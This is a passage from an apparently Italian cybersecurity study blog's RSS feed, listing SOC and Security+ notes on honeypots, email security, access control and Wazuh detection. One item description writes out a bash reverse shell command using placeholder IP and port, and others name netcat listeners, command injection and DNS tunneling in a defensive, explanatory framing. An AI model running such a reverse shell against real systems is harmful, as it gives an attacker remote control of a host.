 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/dig/" &gt;dig&lt;/a&gt; TXT dominio.com&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/dig/" &gt;dig&lt;/a&gt; TXT _dmarc.dominio.com&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;Arianna gestisce i pagamenti. Quella mattina ha ricevuto un'email dal CEO: cambio fornitore urgente, nuovo IBAN, bonifico entro fine giornata. 47.000 euro. Il tono era quello di sempre - formale, diretto, niente spiegazioni superflue.&lt;/p&gt;</description></item><item><title>Il Fantasma nella Rete</title><link>https://u-random.dev/blog/il-fantasma-nella-rete/</link><pubDate>Tue, 19 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/il-fantasma-nella-rete/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;Un honeypot è un sistema esca - qualsiasi connessione ricevuta è per definizione sospetta&lt;/li&gt;
&lt;li&gt;La ricognizione interna (lateral movement iniziale) lascia tracce nei log prima che l'attaccante agisca&lt;/li&gt;
&lt;li&gt;Analizzare chi ha contattato il honeypot rivela quali host sono compromessi o controllati da un attaccante&lt;/li&gt;
&lt;li&gt;IDS/IPS signature-based non rileva zero-day - il comportamento anomalo verso risorse inesistenti lo fa&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/tshark/" &gt;tshark&lt;/a&gt; -r capture.pcap -Y &amp;quot;ip.dst == 192.168.10.99&amp;quot; -T fields -e ip.src -e tcp.dstport&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/dig/" &gt;dig&lt;/a&gt; -x 192.168.10.99&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;Sono le 14:33. Il SIEM ha flaggato una connessione TCP verso &lt;code&gt;192.168.10.99&lt;/code&gt;. Il problema: a quell'IP non c'è nessun server. Non c'è nessun servizio. Non c'è nessun device registrato nell'inventario.&lt;/p&gt;</description></item><item><title>Il Postino Lavora di Notte</title><link>https://u-random.dev/blog/il-postino-lavora-di-notte/</link><pubDate>Tue, 19 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/il-postino-lavora-di-notte/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;SMTP consegna le email, IMAP/POP3 le recuperano - protocolli separati con porte e ruoli distinti&lt;/li&gt;
&lt;li&gt;Una workstation che apre connessioni dirette sulla porta 25 è anomala: quel traffico spetta al mail server aziendale&lt;/li&gt;
&lt;li&gt;base64 negli allegati non è cifratura: su SMTP senza TLS, qualsiasi allegato è estraibile dal pcap in chiaro&lt;/li&gt;
&lt;li&gt;SPF, DKIM e DMARC sono i tre record DNS che distinguono un dominio difeso da uno esposto allo spoofing&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/tshark/" &gt;tshark&lt;/a&gt; -r capture.pcap -Y &amp;quot;smtp&amp;quot; -T fields -e ip.src -e ip.dst -e smtp.req.command -e smtp.req.parameter&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/dig/" &gt;dig&lt;/a&gt; MX dominio.com&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/dig/" &gt;dig&lt;/a&gt; TXT _dmarc.dominio.com&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;&lt;figure&gt;&lt;img
 class="my-0 rounded-md"
 loading="lazy"
 decoding="async"
 fetchpriority="auto"
 alt="Il Postino Lavora di Notte"
 width="2752"
 height="1536"
 src="https://u-random.dev/assets/email-routing-smtp_hu_8e9b834350c07076.webp"
 srcset="https://u-random.dev/assets/email-routing-smtp_hu_8e9b834350c07076.webp 800w, https://u-random.dev/assets/email-routing-smtp_hu_dd83c9b5ac0ab8a9.webp 1280w"
 sizes="(min-width: 768px) 50vw, 65vw"
 data-zoom-src="https://u-random.dev/assets/email-routing-smtp.webp"&gt;&lt;/figure&gt;
&lt;/p&gt;</description></item><item><title>Tutti Potevano Leggere Tutto</title><link>https://u-random.dev/blog/tutti-potevano-leggere-tutto/</link><pubDate>Tue, 19 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/tutti-potevano-leggere-tutto/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;DAC = il proprietario del file decide i permessi - flessibile ma dipende dall'utente&lt;/li&gt;
&lt;li&gt;MAC = il sistema decide in base a etichette di classificazione - usato in ambienti ad alta sicurezza&lt;/li&gt;
&lt;li&gt;RBAC = permessi assegnati ai ruoli, utenti assegnati ai ruoli - il modello più usato in azienda&lt;/li&gt;
&lt;li&gt;Rule-based = regole condizionali (orario, IP, dispositivo) - usato nei firewall e nel controllo accessi contestuale&lt;/li&gt;
&lt;li&gt;ABAC = combina attributi utente + risorsa + contesto - il più granulare, il più complesso&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Giovedì mattina. Silvia, amministrativa HR, apre la share aziendale per caricare un documento. Trova una cartella che non riconosce. La apre. Dentro ci sono i file di stipendio di tutti i 140 dipendenti dell'azienda - compresi quelli dei dirigenti.&lt;/p&gt;</description></item><item><title>Cap 3 - Network Technologies and Security Architecture</title><link>https://u-random.dev/dump/certificazioni/security-plus/libro/cap-03-security-architecture/</link><pubDate>Mon, 18 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/dump/certificazioni/security-plus/libro/cap-03-security-architecture/</guid><description>OSI model, protocolli base (TCP/UDP/IP/ICMP/ARP/DNS/DHCP/NTP), protocolli sicuri vs insicuri, SSL/TLS, firewall (stateless/stateful/WAF/NGFW), screened subnet, Zero Trust, proxy, NAT, VLAN, NAC, UTM, SASE, Group Policy, GDLP, SPF/DKIM/DMARC. Cap 3 Gibson SY0-701.</description></item><item><title>Well-Known Ports - Security+</title><link>https://u-random.dev/concetti/well-known-ports/</link><pubDate>Mon, 18 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/well-known-ports/</guid><description>Porte da sapere a memoria per Security+ SY0-701. Organizzate per categoria: file transfer, remote access, email, web, directory, network services, database, VPN/IPSec.</description></item><item><title>Well-Known Ports - Security+</title><link>https://u-random.dev/dump/certificazioni/security-plus/libro/cap-03-well-known-ports/</link><pubDate>Mon, 18 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/dump/certificazioni/security-plus/libro/cap-03-well-known-ports/</guid><description>Porte da sapere a memoria per Security+ SY0-701. Organizzate per categoria: file transfer, remote access, email, web, directory, network services, database, VPN/IPSec.</description></item><item><title>Cap 2 - Identity and Access Management</title><link>https://u-random.dev/dump/certificazioni/security-plus/libro/cap-02-identity-access-management/</link><pubDate>Fri, 15 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/dump/certificazioni/security-plus/libro/cap-02-identity-access-management/</guid><description>Autenticazione (4 fattori, biometria, MFA), SSO/LDAP/SAML/OAuth, modelli autorizzazione (RBAC/DAC/MAC/ABAC), account lifecycle, PAM, authentication indicators. Cap 2 Gibson SY0-701.</description></item><item><title>Cap 1 - Security Fundamentals</title><link>https://u-random.dev/dump/certificazioni/security-plus/libro/cap-01-security-fundamentals/</link><pubDate>Wed, 13 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/dump/certificazioni/security-plus/libro/cap-01-security-fundamentals/</guid><description>CIA Triad, Risk Concepts, Security Controls (categorie e tipi), Logs e SIEM. Capitolo 1 del Gibson SY0-701.</description></item><item><title>Ruoli Aziendali - C-Suite e figure Security</title><link>https://u-random.dev/concetti/ruoli-aziendali-security/</link><pubDate>Mon, 11 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ruoli-aziendali-security/</guid><description>Mappa delle figure dirigenziali e dei ruoli security in un'organizzazione. Utile per domande di governance e GRC sul Security+.</description></item><item><title>Bash Reverse Shell - Anatomia del comando</title><link>https://u-random.dev/concetti/bash-reverse-shell/</link><pubDate>Sun, 10 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/bash-reverse-shell/</guid><description>Analisi del comando bash -i &amp;gt;&amp;amp; /dev/tcp/IP/PORT 0&amp;gt;&amp;amp;1 - come funzionano i redirect di file descriptor e il pseudo-device /dev/tcp.</description></item><item><title>Kernel e Syscall - User Space vs Kernel Space</title><link>https://u-random.dev/concetti/kernel-syscall/</link><pubDate>Sun, 10 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/kernel-syscall/</guid><description>Il kernel è il nucleo del sistema operativo. Le syscall sono l'interfaccia tra programmi utente e kernel. Architetture diverse (ARM64, x86_64) hanno numeri di syscall diversi.</description></item><item><title>Operational Plans - DRP, IRP, BCP, Change Management</title><link>https://u-random.dev/concetti/operational-plans/</link><pubDate>Sun, 10 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/operational-plans/</guid><description>Distinzione tra i piani operativi: Disaster Recovery Plan, Incident Response Plan, Business Continuity Plan e Change Management. Termini D4/D5 Security+ frequenti.</description></item><item><title>Risk Management - Termini chiave</title><link>https://u-random.dev/concetti/risk-management-terms/</link><pubDate>Sun, 10 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/risk-management-terms/</guid><description>Distinzione tra risk register, risk tolerance, risk transfer e risk analysis. Termini D5 Security+ che escono spesso nelle domande.</description></item><item><title>Security Controls - Tipi e Funzioni</title><link>https://u-random.dev/concetti/security-controls-types/</link><pubDate>Sun, 10 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/security-controls-types/</guid><description>Classificazione dei controlli di sicurezza per tipo (Technical/Administrative/Physical) e per funzione (Preventive/Detective/Corrective/Compensating/Deterrent/Directive).</description></item><item><title>Frame, Pacchetto, Segmento - OSI e Stream</title><link>https://u-random.dev/concetti/frame-packet-segment/</link><pubDate>Thu, 07 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/frame-packet-segment/</guid><description>Differenza tra frame (L2), pacchetto IP (L3) e segmento TCP (L4). Matrioska OSI, NIC, stream indipendenti per livello. Base per leggere correttamente tshark e Wireshark.</description></item><item><title>Glossario Inglese - Parole che scordo</title><link>https://u-random.dev/dump/glossari/glossario-inglese/</link><pubDate>Thu, 07 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/dump/glossari/glossario-inglese/</guid><description>Dizionario personale di termini inglesi tecnici e non che ricorrono nei testi Security+ e BTL1. Aggiornato durante le sessioni di ripasso.</description></item><item><title>Incident Response - Modiga cap 9 - Analisi e risposta agli incidenti</title><link>https://u-random.dev/concetti/incident-response-modiga-cap9/</link><pubDate>Wed, 06 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/incident-response-modiga-cap9/</guid><description>Gestione degli incidenti secondo Modiga cap 9: fasi IH, detection, analisi, prioritizzazione, SIEM tuning, containment. Nota in corso - p. 509.</description></item><item><title>SOC - Struttura e Organizzazione</title><link>https://u-random.dev/concetti/soc-structure/</link><pubDate>Mon, 04 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/soc-structure/</guid><description>Struttura operativa di un SOC: tier, ruoli specializzati, modelli di deployment (interno/esterno/ibrido), SLA, KPI, differenza SOC vs NOC.</description></item><item><title>iptables - Netfilter firewall Linux</title><link>https://u-random.dev/concetti/iptables/</link><pubDate>Sun, 03 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/iptables/</guid><description>Motore firewall del kernel Linux basato su Netfilter. Organizza le regole in chain (INPUT, OUTPUT, FORWARD). UFW è un frontend che traduce comandi semplici in regole iptables.</description></item><item><title>ufw - Uncomplicated Firewall</title><link>https://u-random.dev/comandi/ufw/</link><pubDate>Sun, 03 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/ufw/</guid><description>Frontend semplificato per iptables su Ubuntu/Debian. Gestisce regole firewall in entrata e uscita con comandi leggibili. Default policy: nega tutto il traffico in entrata quando abilitato.</description></item><item><title>whois</title><link>https://u-random.dev/comandi/whois/</link><pubDate>Sun, 03 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/whois/</guid><description>Interroga i database WHOIS per ottenere informazioni su un IP o dominio: ASN, organizzazione, paese, range di indirizzi, abuse contact.</description></item><item><title>Wazuh + auditd: rilevare una reverse shell con regola custom</title><link>https://u-random.dev/concetti/wazuh-auditd-custom-rule/</link><pubDate>Sat, 02 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/wazuh-auditd-custom-rule/</guid><description>Come integrare auditd con Wazuh (Docker) per rilevare bash /dev/tcp: architettura agent/manager, permessi, formato log, regola XML custom.</description></item><item><title>DNS e HTTP in una LAN con switch</title><link>https://u-random.dev/concetti/dns-http-lan-packet-tracer/</link><pubDate>Fri, 01 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/dns-http-lan-packet-tracer/</guid><description>Come funziona la risoluzione DNS e la richiesta HTTP in una LAN flat con switch, senza router né gateway.</description></item><item><title>Routing statico e topologia LAN-internet</title><link>https://u-random.dev/concetti/routing-statico-lan-internet/</link><pubDate>Fri, 01 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/routing-statico-lan-internet/</guid><description>Come configurare il routing statico su router Cisco per connettere una LAN privata a una rete pubblica simulata, con DNS e HTTP server esterni.</description></item><item><title>DNS Tunneling</title><link>https://u-random.dev/concetti/dns-tunneling/</link><pubDate>Wed, 29 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/dns-tunneling/</guid><description>Tecnica C2 che usa il protocollo DNS per trasportare comandi e dati esfiltrati, bypassando i firewall perche' UDP 53 e' quasi sempre permesso.</description></item><item><title>RJ-45 e Cavi Ethernet - Pinout, Dritti e Incrociati</title><link>https://u-random.dev/concetti/rj45-cavi-ethernet/</link><pubDate>Wed, 29 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/rj45-cavi-ethernet/</guid><description>Il connettore RJ-45 ha 8 pin con ruoli TX/RX distinti. I cavi dritti collegano dispositivi diversi, i cavi incrociati collegano dispositivi uguali. Il segnale elettrico codifica i bit tramite variazioni di tensione.</description></item><item><title>Incident Response - Framework e Lifecycle</title><link>https://u-random.dev/concetti/incident-response-lifecycle/</link><pubDate>Tue, 28 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/incident-response-lifecycle/</guid><description>Definizione di IR, confronto framework (NIST, PICERL, MITRE ATT&amp;amp;CK, Time Based Security) e dettaglio operativo delle fasi PICERL con checklist.</description></item><item><title>IP Addressing &amp; Subnetting</title><link>https://u-random.dev/concetti/ip-addressing-subnetting/</link><pubDate>Tue, 28 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ip-addressing-subnetting/</guid><description>L'indirizzamento IP definisce l'identità di una macchina in rete (IP) e il confine del suo quartiere (Subnet Mask). RFC1918, broadcast, segmentazione Blue Team.</description></item><item><title>IP Subnetting - Matematica e Routing</title><link>https://u-random.dev/concetti/ip-subnetting-theory/</link><pubDate>Tue, 28 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ip-subnetting-theory/</guid><description>Matematica del subnetting: formula host 2^n-2, calcolo binario, conversione CIDR/mask, /32, routing table e flusso pacchetto attraverso router.</description></item><item><title>MITRE ATT&amp;CK Framework</title><link>https://u-random.dev/concetti/mitre-attack-framework/</link><pubDate>Tue, 28 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/mitre-attack-framework/</guid><description>Adversarial Tactics, Techniques, and Common Knowledge. Matrice globale per la tassonomia dei comportamenti avversari, con guida operativa all'uso in un SOC.</description></item><item><title>docker volume</title><link>https://u-random.dev/comandi/docker-volume/</link><pubDate>Mon, 27 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/docker-volume/</guid><description>Comandi per gestire volumi Docker: ispezione, creazione, rimozione, migrazione dati tra volumi.</description></item><item><title>Command Injection</title><link>https://u-random.dev/concetti/command-injection/</link><pubDate>Sun, 26 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/command-injection/</guid><description>Vulnerabilità A03 OWASP: input utente viene passato a una shell di sistema senza sanitizzazione. Permette esecuzione arbitraria di comandi sul server.</description></item><item><title>df - disk free</title><link>https://u-random.dev/comandi/df/</link><pubDate>Sun, 26 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/df/</guid><description>Mostra lo spazio disponibile e usato sui filesystem montati. Primo comando da eseguire quando il disco sembra pieno o un servizio si blocca per spazio insufficiente.</description></item><item><title>du</title><link>https://u-random.dev/comandi/du/</link><pubDate>Sun, 26 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/du/</guid><description>Stima e visualizza lo spazio occupato da file e directory sul filesystem. Usato con sort per trovare chi occupa spazio — primo step dopo df quando il disco è pieno.</description></item><item><title>Heredoc - blocco di testo come stdin</title><link>https://u-random.dev/concetti/heredoc/</link><pubDate>Sun, 26 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/heredoc/</guid><description>Sintassi bash per passare blocchi di testo multiriga come stdin a un comando. Usato con sudo tee per scrivere file di sistema.</description></item><item><title>netcat</title><link>https://u-random.dev/comandi/netcat/</link><pubDate>Sun, 26 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/netcat/</guid><description>Utility versatile per leggere e scrivere dati attraverso connessioni di rete TCP e UDP. Usato per banner grabbing, port scan, trasferimento file, e come listener per reverse shell.</description></item><item><title>Reverse Shell</title><link>https://u-random.dev/concetti/reverse-shell/</link><pubDate>Sun, 26 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/reverse-shell/</guid><description>Tecnica di accesso remoto dove la vittima si connette verso l'attaccante. Bypassa i firewall in ingresso. Rilevabile con auditd, Suricata o regole Wazuh custom.</description></item><item><title>tee - duplica stdout su file</title><link>https://u-random.dev/comandi/tee/</link><pubDate>Sun, 26 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/tee/</guid><description>Legge da stdin e scrive contemporaneamente su stdout e su file. Usato con sudo per scrivere file di sistema senza aprire editor come root.</description></item><item><title>file-descriptor</title><link>https://u-random.dev/concetti/file-descriptor/</link><pubDate>Thu, 23 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/file-descriptor/</guid><description>I tre canali standard aperti in ogni processo Unix: stdin (0), stdout (1), stderr (2). Fondamentali per capire pipe, redirezione e comportamento dei tool da terminale.</description></item><item><title>Architettura di Wazuh SIEM/XDR</title><link>https://u-random.dev/concetti/wazuh-architecture/</link><pubDate>Wed, 22 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/wazuh-architecture/</guid><description>Analisi dei componenti core di Wazuh: Agent, Manager, Indexer e Dashboard. Funzionamento del flusso di telemetria.</description></item><item><title>BGP e Autonomous Systems (AS) - Il GPS di Internet</title><link>https://u-random.dev/concetti/bgp-asn-fundamentals/</link><pubDate>Wed, 22 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/bgp-asn-fundamentals/</guid><description>Guida completa al routing globale: gerarchia delle reti, analogia delle Città-Stato, differenze tra IGP/eBGP/iBGP e analisi del BGP Hijacking.</description></item><item><title>EICAR Test File - Lo standard per il test malware</title><link>https://u-random.dev/concetti/eicar-test-file/</link><pubDate>Wed, 22 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/eicar-test-file/</guid><description>Una stringa standard di 68 caratteri utilizzata per testare il corretto funzionamento di antivirus, EDR e SIEM senza usare codice malevolo reale.</description></item><item><title>Indirizzi IP e Listening Ports - Guida SOC</title><link>https://u-random.dev/concetti/ip-listening-addresses/</link><pubDate>Wed, 22 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ip-listening-addresses/</guid><description>Interpretazione degli indirizzi IP (0.0.0.0, 127.0.0.1, ::) e delle porte in ascolto durante l'investigazione SOC.</description></item><item><title>Le Autostrade di Internet</title><link>https://u-random.dev/blog/le-autostrade-di-internet/</link><pubDate>Wed, 22 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/le-autostrade-di-internet/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;Internet non è una singola rete: è un insieme di reti indipendenti (Autonomous Systems) collegate da BGP&lt;/li&gt;
&lt;li&gt;BGP decide il percorso tra AS diversi - IGP gestisce il routing interno, iBGP sincronizza i border router&lt;/li&gt;
&lt;li&gt;Un attaccante può annunciare rotte false (BGP Hijacking) e dirottare traffico globale&lt;/li&gt;
&lt;li&gt;Ogni IP appartiene a un ASN: saperlo leggere è un'abilità base di triage SOC&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;whois [IP]&lt;/li&gt;
&lt;li&gt;whois [IP] | grep -i &amp;quot;origin|asn|orgname&amp;quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;&lt;figure&gt;&lt;img
 class="my-0 rounded-md"
 loading="lazy"
 decoding="async"
 fetchpriority="auto"
 alt="bgp autonomous systems"
 width="2752"
 height="1536"
 src="https://u-random.dev/assets/bgp-autonomous-systems_hu_d6dc4af6556545b2.webp"
 srcset="https://u-random.dev/assets/bgp-autonomous-systems_hu_d6dc4af6556545b2.webp 800w, https://u-random.dev/assets/bgp-autonomous-systems_hu_82399596e7b72d5e.webp 1280w"
 sizes="(min-width: 768px) 50vw, 65vw"
 data-zoom-src="https://u-random.dev/assets/bgp-autonomous-systems.webp"&gt;&lt;/figure&gt;
&lt;/p&gt;</description></item><item><title>lsof - list open files</title><link>https://u-random.dev/comandi/lsof/</link><pubDate>Wed, 22 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/lsof/</guid><description>Elenca tutti i file aperti dal sistema. Fondamentale in incident response per trovare processi sospetti, connessioni anomale e file nascosti (deleted).</description></item><item><title>Rootkit - Il malware invisibile</title><link>https://u-random.dev/concetti/rootkit/</link><pubDate>Wed, 22 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/rootkit/</guid><description>Set di strumenti malevoli progettati per nascondere processi, file e connessioni di rete, spesso operando a livello di Kernel.</description></item><item><title>TCP Reliability e Modello OSI - La Guida Semplificata</title><link>https://u-random.dev/concetti/tcp-reliability-osi/</link><pubDate>Wed, 22 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/tcp-reliability-osi/</guid><description>Spiegazione del meccanismo di conferma (ACK) del TCP e mappatura semplificata degli strati OSI (Layer 2, 3, 4) per l'analisi dei log.</description></item><item><title>Glossario Cyber &amp; SOC</title><link>https://u-random.dev/dump/glossari/glossario-cyber/</link><pubDate>Mon, 20 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/dump/glossari/glossario-cyber/</guid><description>Dizionario centrale degli acronimi e dei termini tecnici incontrati durante il percorso da Developer a SOC Specialist.</description></item><item><title>Investigazione Incidenti Linux - Cheat Sheet</title><link>https://u-random.dev/comandi/investigazione-linux/</link><pubDate>Mon, 20 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/investigazione-linux/</guid><description>Comandi essenziali per l'identificazione di anomalie, processi malevoli e connessioni sospette su sistemi UNIX/Linux.</description></item><item><title>Investigazione Incidenti Windows - Cheat Sheet</title><link>https://u-random.dev/comandi/investigazione-windows/</link><pubDate>Mon, 20 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/investigazione-windows/</guid><description>Comandi e strumenti essenziali per rilevare anomalie, persistenza e account sospetti in ambiente Windows.</description></item><item><title>SOC Tiers - Ruoli e Responsabilità</title><link>https://u-random.dev/concetti/soc-tiers/</link><pubDate>Mon, 20 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/soc-tiers/</guid><description>Livelli gerarchici del SOC, attività operative Tier 1-3, impatto dell'AI (SOC 2.0) e vantaggi del background da Developer.</description></item><item><title>Docker Network</title><link>https://u-random.dev/concetti/docker-network/</link><pubDate>Sat, 18 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/docker-network/</guid><description>Docker crea reti virtuali isolate tra container. I container sulla stessa rete si vedono per nome (DNS interno). Quelli su reti diverse non si parlano - isolamento per design.</description></item><item><title>HTTP in Wireshark - TCP Segmentation e Packet Analysis</title><link>https://u-random.dev/concetti/http-wireshark/</link><pubDate>Fri, 17 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/http-wireshark/</guid><description>Come appare una sessione HTTP in Wireshark: TCP segmentation, MSS, Nagle's algorithm, gzip. Prospettiva packet analysis.</description></item><item><title>SMTP - Simple Mail Transfer Protocol</title><link>https://u-random.dev/concetti/smtp/</link><pubDate>Fri, 17 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/smtp/</guid><description>SMTP trasporta le email tra server. Architettura MUA/MTA, porte, flusso di consegna, email spoofing e meccanismi difensivi SPF/DKIM/DMARC.</description></item><item><title>/etc/network/interfaces - configurazione rete Debian/Kali</title><link>https://u-random.dev/comandi/interfaces/</link><pubDate>Thu, 16 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/interfaces/</guid><description>File di configurazione rete su Debian e derivate (Kali). Definisce interfacce, IP statico o DHCP, gateway. Letto all'avvio dal servizio networking.</description></item><item><title>DHCP - Dynamic Host Configuration Protocol</title><link>https://u-random.dev/concetti/dhcp/</link><pubDate>Thu, 16 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/dhcp/</guid><description>Protocollo che assegna automaticamente configurazione di rete ai dispositivi che si connettono - IP address, subnet mask, gateway, DNS. Senza DHCP ogni dispositivo dovrebbe essere configurato 